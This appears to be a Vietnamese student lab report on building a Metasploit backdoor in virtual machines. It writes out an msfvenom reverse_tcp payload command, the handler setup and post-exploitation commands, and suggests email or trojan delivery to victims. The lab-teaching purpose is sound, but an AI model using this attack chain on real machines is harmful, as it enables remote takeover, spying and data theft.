**REPORT**

**Yêu cầu:** Thực hiện chính sách nhâp mật khẩu, bảo mật tài khoản hệ thống Linux và Window Server. Thực hiện gây hại và xâm nhập vào máy tính nạn nhân để theo dõi và cướp dữ liệu thông qua mã độc ( backdoor ).

**Kịch bản:** Sử dụng 2 máy ảo để thực hiện chính sách mật khẩu là Kali Linux, Window 7 để thực hiện tấn công mạng.

**Công cụ / mô hình:** Sử dụng Vmware Workstation Pro version 17.8 để thực hiện,

**Setup:**

A screenshot of a computer

AI-generated content may be incorrect. A screenshot of a computer

AI-generated content may be incorrect.

**Lập trình Keylogger bằng ngôn ngữ Python đọc và ghi các key từ bàn phím user nhập thành 1 file khác để ẩn bên trong ổ đĩa C:**

 A computer screen shot of a program

AI-generated content may be incorrect.

**Steps:**

Trước tiên phải setup giữa máy nạn nhân và máy tấn công với protocol là Bridge khi ấy 2 thiết bị mới cùng 1 mạng thì mới có thể thực hiện được.

**Máy tấn công ( Kali Linux ):**

**A screenshot of a computer program

AI-generated content may be incorrect.**

**Máy nạn nhân ( Windows 7 ):**

**A computer screen with a black screen

AI-generated content may be incorrect.**

Ở máy tấn công ( kali linux ) ở terminal nhập lệnh ( “cd /usr/share/Metasploit-framework” ) và nhập ( “msfconsole” ) để truy cập tool Metasploit.

A screenshot of a computer

AI-generated content may be incorrect.

A screenshot of a computer

AI-generated content may be incorrect.

Tạo mã độc dev.exe và set localhost là địa chỉ ip của máy tấn công ở cổng 4444 để nạn nhân khi chạy file dev.exe client sẽ auto kết nối địa chỉ ip máy tấn công thông qua cổng 4444. Với command: (“ sudo msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o ~/dev.exe ”):  
A screenshot of a computer program

AI-generated content may be incorrect.

Thực hiện kiểm soát máy nạn nhân (“ use exploit/multi/handler ”)

Set giao thức kết nối TCP để truyền tải dữ liệu ( “ set payload windows/meterpreter/reverse\_tcp payload ”)

Set localhost (“ set LHOST 192.168.1.5 ”)

Set port (“ set LPORT 4444 ”)

Khai thác (“ exploit ”)

A screenshot of a computer

AI-generated content may be incorrect.

Trước đó, ở máy tấn công ta sẽ mở cổng 8080 để máy nạn nhân có thể down tệp dev.exe:  
A computer screen with white text

AI-generated content may be incorrect.

Ở máy nạn nhân, ta có thể gửi email hoặc dùng phương pháp trojan horse để user tải dev.exe về, đây ta sẽ cho user down dev.exe thông qua địa chỉ ip và port của máy tấn công:

A computer screen with a message

AI-generated content may be incorrect.

A screenshot of a computer error

AI-generated content may be incorrect.

Sau khi máy nạn nhân chạy file dev.exe thì bên máy tấn công sẽ nhận được tính hiệu và handle được máy nạn nhân:  
A screenshot of a computer

AI-generated content may be incorrect.

A screenshot of a computer program

AI-generated content may be incorrect.Với lệnh (“ ps ”) ta có thể biết được máy nạn nhân đang chạy phần mềm nào:  
A screenshot of a computer

AI-generated content may be incorrect.

Ngoài ra ta còn có thể chụp màn hình máy tính nạn nhân với lệnh (“ screenshot ”) ảnh sẽ tự động lưu ở thư mục metasplot-framework:

A screenshot of a computer

AI-generated content may be incorrect.

Ta có thể tạo thư mục từ máy tấn công với lệnh là (“ mkdir ổ đĩa:/tên file ”):

A computer screen with white text

AI-generated content may be incorrect.

A screenshot of a computer

AI-generated content may be incorrect.

Không những thế ta còn có thể tạo user:

A screenshot of a computer

AI-generated content may be incorrect.

**Results:**

A screenshot of a computer program

AI-generated content may be incorrect.A screenshot of a computer

AI-generated content may be incorrect.

A screenshot of a computer

AI-generated content may be incorrect.

A computer screen with white text

AI-generated content may be incorrect.

A screenshot of a computer

AI-generated content may be incorrect.

**Đánh giá:**

* Với dạng tấn công kiểu này giúp máy tấn công dễ tấn công vì nạn nhân tự kết nối về giúp tránh phát hiện
* Có thể gửi lệnh từ xa, kiểm soát toàn bộ hệ thống nạn nhân như hỗ trợ chụp ảnh ghi âm, keylogger, tải file,…
* Vì kết nối là từ trong ra ngoài nên tường lửa ít bị chặn và có thể mã hóa payload để tránh bị phát hiện bởi antivirus.
* Nhưng nếu mang nạn nhân bị gián đoạn hay kết nối mất thì kiểm soát ko ổn định.
* Có thể bị phát hiện nếu ko mã hóa, IDS chặn kết nối,…
* Users phải chặn kết nối đáng ngờ, dùng VPN hay DNS Security, kiểm tra process,…